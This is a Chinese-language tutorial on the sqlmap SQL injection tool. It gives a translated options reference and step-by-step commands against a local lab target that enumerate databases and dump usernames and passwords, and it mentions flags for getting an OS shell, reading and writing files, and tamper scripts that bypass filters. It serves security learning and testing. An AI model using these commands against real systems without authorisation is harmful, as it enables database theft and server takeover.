常用滲透測試工具
1.sqlmap
支援的資料庫:MySQL、Oracle、PostgreSQL、SQL Server、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB
支援的六種注入技術:boolean-based盲注、time-based盲注、error-based、UNION查詢、堆疊查詢和帶外查詢
- B:Boolean-basedblindSQLinjection(布林型注入)
- E:Error-basedSQLinjection(報錯型注入)
- U:UNIONquerySQLinjection(聯合查詢注入)
- S:StackedqueriesSQLinjection(多語句查詢注入)
- T:Time-basedblindSQLinjection(基於時間延遲注入)
- Q:InlineSQLInjection(內聯注入)
1.1.幫助文件
用法:python sqlmap.py [選項] 選項: -h, --help 顯示基本幫助資訊並退出 -hh 顯示高階幫助資訊並退出 --version 顯示程式版本資訊並退出 -v VERBOSE 輸出資訊詳細程度級別:0-6(預設為 1) 目標:至少提供一個以下選項以指定目標 -d DIRECT 直接連線資料庫 -u URL, --url=URL 目標 URL(例如:"http://www.site.com/vuln.php?id=1") -l LOGFILE 從 Burp 或 WebScarab 代理的日誌檔案中解析目標地址 -x SITEMAPURL 從遠端網站地圖(.xml)檔案中解析目標 -m BULKFILE 從文字檔案中獲取批次目標 -r REQUESTFILE 從檔案中讀取 HTTP 請求 -g GOOGLEDORK 使用 Google dork 結果作為目標 -c CONFIGFILE 從 INI 配置檔案中載入選項 請求:以下選項可以指定連線目標地址的方式 --method=METHOD 強制使用提供的 HTTP 方法(例如:PUT) --data=DATA 使用 POST 傳送資料串 --param-del=PARA.. 設定引數值分隔符 --cookie=COOKIE 指定 HTTP Cookie --cookie-del=COO.. 設定 cookie 分隔符 --load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的檔案 --drop-set-cookie 忽略 HTTP 響應中的 Set-Cookie 引數 --user-agent=AGENT 指定 HTTP User-Agent --random-agent 使用隨機的 HTTP User-Agent --host=HOST 指定 HTTP Host --referer=REFERER 指定 HTTP Referer -H HEADER, --hea.. 設定額外的 HTTP 頭引數(例如:"X-Forwarded-For: 127.0.0.1") --headers=HEADERS 設定額外的 HTTP 頭引數(例如:"Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP 認證方式(Basic,Digest,NTLM 或 PKI) --auth-cred=AUTH.. HTTP 認證憑證(username:password) --auth-file=AUTH.. HTTP 認證 PEM 證書/私鑰檔案 --ignore-code=IG.. 忽略 HTTP 錯誤碼(例如:401) --ignore-proxy 忽略系統預設代理設定 --ignore-redirects 忽略重定向嘗試 --ignore-timeouts 忽略連線超時 --proxy=PROXY 使用代理連線目標 URL --proxy-cred=PRO.. 使用代理進行認證(username:password) --proxy-file=PRO.. 從檔案中載入代理列表 --tor 使用 Tor 匿名網路 --tor-port=TORPORT 設定 Tor 代理埠代替預設埠 --tor-type=TORTYPE 設定 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(預設)) --check-tor 檢查是否正確使用了 Tor --delay=DELAY 設定每個 HTTP 請求的延遲秒數 --timeout=TIMEOUT 設定連線響應的有效秒數(預設為 30) --retries=RETRIES 連線超時時重試次數(預設為 3) --randomize=RPARAM 隨機更改給定的引數值 --safe-url=SAFEURL 測試過程中可頻繁訪問且合法的 URL 地址(譯者注:有些網站在你連續多次訪問錯誤地址時會關閉會話連線,後面的“請求”小節有詳細說明) --safe-post=SAFE.. 使用 POST 方法傳送合法的資料 --safe-req=SAFER.. 從檔案中載入合法的 HTTP 請求 --safe-freq=SAFE.. 每訪問兩次給定的合法 URL 才傳送一次測試請求 --skip-urlencode 不對 payload 資料進行 URL 編碼 --csrf-token=CSR.. 設定網站用來反 CSRF 攻擊的 token --csrf-url=CSRFURL 指定可提取反 CSRF 攻擊 token 的 URL --force-ssl 強制使用 SSL/HTTPS --hpp 使用 HTTP 引數汙染攻擊 --eval=EVALCODE 在發起請求前執行給定的 Python 程式碼(例如:"import hashlib;id2=hashlib.md5(id).hexdigest()") 最佳化:以下選項用於最佳化 sqlmap 效能 -o 開啟所有最佳化開關 --predict-output 預測常用請求的輸出 --keep-alive 使用持久的 HTTP(S) 連線 --null-connection 僅獲取頁面大小而非實際的 HTTP 響應 --threads=THREADS 設定 HTTP(S) 請求併發數最大值(預設為 1) 注入:以下選項用於指定要測試的引數,提供自定義注入 payloads 和篡改引數的指令碼 -p TESTPARAMETER 指定需要測試的引數 --skip=SKIP 指定要跳過的引數 --skip-static 指定跳過非動態引數 --param-exclude=.. 用正規表示式排除引數(例如:"ses") --dbms=DBMS 指定 DBMS 型別(例如:MySQL) --dbms-cred=DBMS.. DBMS 認證憑據(username:password) --os=OS 指定 DBMS 伺服器的作業系統型別 --invalid-bignum 將無效值設定為大數 --invalid-logical 對無效值使用邏輯運算 --invalid-string 對無效值使用隨機字串 --no-cast 關閉 payload 構造機制 --no-escape 關閉字串轉義機制 --prefix=PREFIX 注入 payload 的字首字串 --suffix=SUFFIX 注入 payload 的字尾字串 --tamper=TAMPER 用給定指令碼修改注入資料 檢測:以下選項用於自定義檢測方式 --level=LEVEL 設定測試等級(1-5,預設為 1) --risk=RISK 設定測試風險等級(1-3,預設為 1) --string=STRING 用於確定查詢結果為真時的字串 --not-string=NOT.. 用於確定查詢結果為假時的字串 --regexp=REGEXP 用於確定查詢結果為真時的正規表示式 --code=CODE 用於確定查詢結果為真時的 HTTP 狀態碼 --text-only 只根據頁面文字內容對比頁面 --titles 只根據頁面標題對比頁面 技術:以下選項用於調整特定 SQL 注入技術的測試方法 --technique=TECH 使用的 SQL 注入技術(預設為“BEUSTQ”,譯者注: B: Boolean-based blind SQL injection(布林型盲注) E: Error-based SQL injection(報錯型注入) U: UNION query SQL injection(聯合查詢注入) S: Stacked queries SQL injection(堆查詢注入) T: Time-based blind SQL injection(時間型盲注) Q: inline Query injection(內聯查詢注入) --time-sec=TIMESEC 延遲 DBMS 的響應秒數(預設為 5) --union-cols=UCOLS 設定聯合查詢注入測試的列數目範圍 --union-char=UCHAR 用於暴力猜解列數的字元 --union-from=UFROM 設定聯合查詢注入 FROM 處用到的表 --dns-domain=DNS.. 設定用於 DNS 滲出攻擊的域名(譯者注:推薦閱讀《在SQL隱碼攻擊中使用DNS獲取資料》http://cb.drops.wiki/drops/tips-5283.html,在後面的“技術”小節中也有相應解釋) --second-order=S.. 設定二階響應的結果顯示頁面的 URL(譯者注:該選項用於二階 SQL 注入) 指紋識別: -f, --fingerprint 執行廣泛的 DBMS 版本指紋識別 列舉:以下選項用於獲取後端資料庫管理系統的資訊,結構和資料表中的資料。此外,還可以執行你輸入的 SQL 語句 -a, --all 獲取所有資訊、資料 -b, --banner 獲取 DBMS banner --current-user 獲取 DBMS 當前使用者 --current-db 獲取 DBMS 當前資料庫 --hostname 獲取 DBMS 伺服器的主機名 --is-dba 探測 DBMS 當前使用者是否為 DBA(資料庫管理員) --users 列舉出 DBMS 所有使用者 --passwords 列舉出 DBMS 所有使用者的密碼雜湊 --privileges 列舉出 DBMS 所有使用者特權級 --roles 列舉出 DBMS 所有使用者角色 --dbs 列舉出 DBMS 所有資料庫 --tables 列舉出 DBMS 資料庫中的所有表 --columns 列舉出 DBMS 表中的所有列 --schema 列舉出 DBMS 所有模式 --count 獲取資料表數目 --dump 匯出 DBMS 資料庫表項 --dump-all 匯出所有 DBMS 資料庫表項 --search 搜尋列,表和/或資料庫名 --comments 獲取 DBMS 註釋 -D DB 指定要列舉的 DBMS 資料庫 -T TBL 指定要列舉的 DBMS 資料表 -C COL 指定要列舉的 DBMS 資料列 -X EXCLUDECOL 指定要排除的 DBMS 資料列 -U USER 指定列舉的 DBMS 使用者 --exclude-sysdbs 列舉所有資料表時,指定排除特定系統資料庫 --pivot-column=P.. 指定主列 --where=DUMPWHERE 在轉儲表時使用 WHERE 條件語句 --start=LIMITSTART 指定要匯出的資料表條目開始行數 --stop=LIMITSTOP 指定要匯出的資料表條目結束行數 --first=FIRSTCHAR 指定獲取返回查詢結果的開始字元位 --last=LASTCHAR 指定獲取返回查詢結果的結束字元位 --sql-query=QUERY 指定要執行的 SQL 語句 --sql-shell 調出互動式 SQL shell --sql-file=SQLFILE 執行檔案中的 SQL 語句 暴力破解:以下選項用於暴力破解測試 --common-tables 檢測常見的表名是否存在 --common-columns 檢測常用的列名是否存在 使用者自定義函式注入:以下選項用於建立使用者自定義函式 --udf-inject 注入使用者自定義函式 --shared-lib=SHLIB 共享庫的本地路徑 訪問檔案系統:以下選項用於訪問後端資料庫管理系統的底層檔案系統 --file-read=RFILE 讀取後端 DBMS 檔案系統中的檔案 --file-write=WFILE 寫入後端 DBMS 檔案系統中的檔案 --file-dest=DFILE 使用檔案絕對路徑寫入到後端 DBMS 訪問作業系統:以下選項用於訪問後端資料庫管理系統的底層作業系統 --os-cmd=OSCMD 執行作業系統命令 --os-shell 調出互動式作業系統 shell --os-pwn 調出 OOB shell,Meterpreter 或 VNC --os-smbrelay 一鍵調出 OOB shell,Meterpreter 或 VNC --os-bof 利用儲存過程的緩衝區溢位 --priv-esc 資料庫程序使用者提權 --msf-path=MSFPATH Metasploit 框架的本地安裝路徑 --tmp-path=TMPPATH 遠端臨時檔案目錄的絕對路徑 訪問 Windows 登錄檔:以下選項用於訪問後端資料庫管理系統的 Windows 登錄檔 --reg-read 讀取一個 Windows 登錄檔鍵值 --reg-add 寫入一個 Windows 登錄檔鍵值資料 --reg-del 刪除一個 Windows 登錄檔鍵值 --reg-key=REGKEY 指定 Windows 登錄檔鍵 --reg-value=REGVAL 指定 Windows 登錄檔鍵值 --reg-data=REGDATA 指定 Windows 登錄檔鍵值資料 --reg-type=REGTYPE 指定 Windows 登錄檔鍵值型別 通用選項:以下選項用於設定通用的引數 -s SESSIONFILE 從檔案(.sqlite)中讀入會話資訊 -t TRAFFICFILE 儲存所有 HTTP 流量記錄到指定文字檔案 --batch 從不詢問使用者輸入,使用預設配置 --binary-fields=.. 具有二進位制值的結果欄位(例如:"digest") --check-internet 在訪問目標之前檢查是否正常連線網際網路 --crawl=CRAWLDEPTH 從目標 URL 開始爬取網站 --crawl-exclude=.. 用正規表示式篩選爬取的頁面(例如:"logout") --csv-del=CSVDEL 指定輸出到 CVS 檔案時使用的分隔符(預設為“,”) --charset=CHARSET 指定 SQL 盲注字符集(例如:"0123456789abcdef") --dump-format=DU.. 匯出資料的格式(CSV(預設),HTML 或 SQLITE) --encoding=ENCOD.. 指定獲取資料時使用的字元編碼(例如:GBK) --eta 顯示每個結果輸出的預計到達時間 --flush-session 清空當前目標的會話檔案 --forms 解析並測試目標 URL 的表單 --fresh-queries 忽略儲存在會話檔案中的查詢結果 --har=HARFILE 將所有 HTTP 流量記錄到一個 HAR 檔案中 --hex 獲取資料時呼叫 DBMS 的 hex 函式 --output-dir=OUT.. 自定義輸出目錄路徑 --parse-errors 從響應中解析並顯示 DBMS 錯誤資訊 --save=SAVECONFIG 將選項設定儲存到一個 INI 配置檔案 --scope=SCOPE 用正規表示式從提供的代理日誌中過濾目標 --test-filter=TE.. 根據 payloads 和/或標題(例如:ROW)選擇測試 --test-skip=TEST.. 根據 payloads 和/或標題(例如:BENCHMARK)跳過部分測試 --update 更新 sqlmap 其他選項: -z MNEMONICS 使用短助記符(例如:“flu,bat,ban,tec=EU”) --alert=ALERT 在找到 SQL 注入時執行 OS 命令 --answers=ANSWERS 設定問題答案(例如:“quit=N,follow=N”) --beep 出現問題提醒或在發現 SQL 注入時發出提示音 --cleanup 指定移除 DBMS 中的特定的 UDF 或者資料表 --dependencies 檢查 sqlmap 缺少什麼(非核心)依賴 --disable-coloring 關閉彩色控制檯輸出 --gpage=GOOGLEPAGE 指定頁碼使用 Google dork 結果 --identify-waf 針對 WAF/IPS/IDS 保護進行徹底的測試 --mobile 使用 HTTP User-Agent 模仿智慧手機 --offline 在離線模式下工作(僅使用會話資料) --purge-output 安全地刪除輸出目錄的所有內容 --skip-waf 跳過啟發式檢測 WAF/IPS/IDS 保護 --smart 只有在使用啟發式檢測時才進行徹底的測試 --sqlmap-shell 調出互動式 sqlmap shell --tmp-dir=TMPDIR 指定用於儲存臨時檔案的本地目錄 --web-root=WEBROOT 指定 Web 伺服器根目錄(例如:"/var/www") --wizard 適合初級使用者的嚮導介面
1.2.常用命令
0:只顯示Python回源(tracebacks),錯誤(error)和關鍵(criticle)資訊。 1:同時顯示資訊(info)和警告資訊(warning)(預設為1) 2: 同時顯示除錯資訊(debug) 3:同時顯示注入的有效載荷(payloads) 4:同時顯示http請求 5:同時顯示http響應頭 6:同時顯示http響應內容
級別越高,資訊就越詳細
1.2.1.指定目標
1.2.2.sqlmap 入門
判斷是否存在注入點:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch
查詢當前使用者的所有資料庫:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch --dbs
獲取表名(-D:指定資料庫):python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch -D security --tables
獲取欄位名(-T:指定表):python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch -D security -T users --columns
獲取欄位內容(-C:指定欄位):python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch -D security -T users -C "username,password" --dump
獲取資料庫的所有使用者:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch --users
獲取資料庫使用者的密碼:python sqlmap -u http://192.168.1.8/Less-1/?id=1 --batch --passwords
--current-db:獲取當前網站資料庫名稱
--current-user:獲取當前網站資料庫的使用者名稱稱
1.3.sqlmap 進階引數
--level:探測等級,5級,Cookie需要2級,UA 頭和 Referer 頭需要3級
--is-dba:當前使用者是否有管理許可權
--roles:檢視資料庫使用者的角色
--referer:偽造 Referer 頭(需要 --level 3 及以上)
--sql-shell:用於執行指定的 SQL 語句
--os-cmd 或 --os-shell:
--os-cmd:需要當前使用者有許可權,資料庫為MySQL、PostgreSQL、SQL Server
--os-shell:可以模擬一個真實的 shell,與伺服器進行互動
--file-read:從資料庫伺服器中讀取檔案
--file-write 和 --file-dest:將本地檔案寫入資料庫伺服器(?id=1 --file-write "./1.txt" --file-dest "/tmp/1.txt" -v 1)
1.4.常用 tamper 繞過指令碼
使用:--tamper "模組名"
- MySQL 4、MySQL 5.0、MySQL 5.5
- Oracle 10g
- PostgreSQL 8.3、PostgreSQL 8.4、PostgreSQL 9.0